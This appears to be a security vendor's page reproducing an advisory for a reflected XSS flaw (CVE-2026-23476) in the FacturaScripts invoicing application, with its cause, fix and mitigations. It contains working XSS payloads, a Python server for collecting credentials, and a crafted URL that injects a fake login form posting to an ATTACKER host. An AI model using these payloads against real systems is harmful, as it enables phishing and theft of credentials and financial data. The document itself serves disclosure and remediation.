New MCP server — Bring vulnerability intelligence into your AI
Back to feed

CVE-2026-23476

ExploitedNVDCIRCLENISA

EUVD-2026-5279 · Published Feb 2, 2026

FacturaScripts is Vulnerable to Reflected XSS

Reflected XSS via SQL Error Messages

Summary

A reflected XSS bug has been found in FacturaScripts. The problem is in how error messages get displayed - it's using Twig's | raw filter which skips HTML escaping. When a database error is triggered (like passing a string where an integer is expected), the error message includes all input and gets rendered without sanitization.

Attackers can use this to phish credentials from other users since HttpOnly is set on cookies (so stealing cookies directly won't work, but attackers can inject a fake login form).

CVSS 6.1 (Medium-High)


What was Found

Where the bug exists in the code:

Core/View/Macro/Utils.html.twig, line 27:

{% for item in messages %}
    <div>{{ item.message | raw }}</div>
{% endfor %}

That | raw is the problem. It tells Twig not to escape anything.

How it works

So here's what happens:

  1. Hhit /EditProducto?code=<svg onload=alert(1)> or <img src=x onerror=alert(1)>
  2. The app tries to look up a product with that "code"
  3. PostgreSQL throws an error because <svg onload=alert(1)> isn't a valid integer
  4. The error goes something like: ```
    ERROR: invalid input syntax for type integer: "<svg onload=alert(1)>"
    LINE 1: SELECT * FROM "productos" WHERE "idproducto" = '<img src=x onerror=alert(1)>"
  5. This gets logged via MiniLog and displayed to the user
  6. Because of | raw, the browser actually executes the JS

The error logging happens in Core/Base/DataBase.php around line 236:

self::$miniLog->error(self::$engine->errorMessage(self::$link), ['sql' => $sql]);

And PostgreSQL's error message includes whatever garbage it was sent.


Reproduction Steps

Requirements
  • Working FacturaScripts install
  • Any user account (doesn't need to be admin)
  • The victim needs to be logged in
Quick test

Just visit this URL while logged in:

http://localhost/EditProducto?code=<svg onload=alert(document.domain)>

An alert box should pop up.

For a real attack (credential phishing)

Set up a simple server to catch credentials:

from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        q = parse_qs(urlparse(self.path).query)
        print(f"\nGot creds:")
        print(f"  User: {q.get('user', ['?'])[0]}")
        print(f"  Pass: {q.get('pass', ['?'])[0]}")
        self.send_response(200)
        self.end_headers()
    def log_message(self, *args): pass

HTTPServer(('', 8888), Handler).serve_forever()

Then craft a URL that injects a fake login form:

http://TARGET/EditProducto?code=<svg onload="document.body.innerHTML='<div style=text-align:center;padding:100px><h2>Session Expired</h2><form action=http://ATTACKER:8888/steal><input name=user placeholder=Username><br><input name=pass type=password placeholder=Password><br><button>Login</button></form></div>'">

Send that to someone (email, chat, whatever). When they click it and enter their password thinking their session expired, their creds are displayed.

Other endpoints that work

Pretty much anything that uses the code parameter:

  • /EditProducto?code=
  • /EditCliente?code=
  • /EditFacturaCliente?code=
  • /EditProveedor?code=
  • etc.

Basically all the Edit controllers.


Impact

What attackers can do with this

Steal credentials - Can't grab cookies directly (HttpOnly), but the phishing form trick works great. Victim thinks their session timed out and re-enters their password.

Read page data - Once JS is running, attackers can scrape whatever's on the page (invoices, customer info, financial data) and send it somewhere.

Keylog - Inject a keylogger that captures everything they type.

Bypass CSRF - Grab the multireqtoken from the page and make requests as the victim.

What attackers CAN'T do

Can't steal session cookies via document.cookie - they're HttpOnly.

Business side

This is a financial app, so if attackers compromise an admin account, the following is possible to create or expose:

  • Fake invoices
  • Redirected payments
  • Customer data breach (GDPR stuff)
  • The usual mess

Fix

Quick fix

Just remove | raw from line 27 in Core/View/Macro/Utils.html.twig:

-    <div>{{ item.message | raw }}</div>
+    <div>{{ item.message }}</div>

That's it. Twig escapes by default, so removing | raw fixes the XSS.

If projects want to be thorough
  1. Sanitize messages before they go into the log:
$message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');
  1. Add CSP headers to block inline scripts as a backup

  2. Maybe validate the code parameter format before it hits the database


Resources


Found: Dec 31, 2025
Tested on: FacturaScripts 2025.61 (Docker), verified vulnerable in 2025.71 (GitHub latest)
<img width="1917" height="868" alt="1" src="https://github.com/user-attachments/assets/a7d770c8-1d61-499c-83dc-e21be8e61c87" />
<img width="337" height="130" alt="3" src="https://github.com/user-attachments/assets/463067ee-3a73-45ed-af26-c32264d5bf41" />
<img width="1915" height="870" alt="phising" src="https://github.com/user-attachments/assets/6e15a021-dc5f-4708-bdd1-887ecb2d2ffb" />
<img width="1915" height="862" alt="phising2" src="https://github.com/user-attachments/assets/100a63b6-c066-43d5-ab39-6085f51ba282" />
<img width="1918" height="877" alt="sql erroe" src="https://github.com/user-attachments/assets/4c3182ba-380d-44d4-ab34-4b0840ad3e39" />
<img width="1165" height="277" alt="version" src="https://github.com/user-attachments/assets/5f23e4de-cf03-4fcf-a6c5-6ca327c8c43a" />

Technologies

Facturascripts Facturascripts

Weaknesses

CWE-79

CVSS scores

  • v3.15.4CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

Take 15 minutes to discover our platform with our experts

Patrowl Intel platform screenshot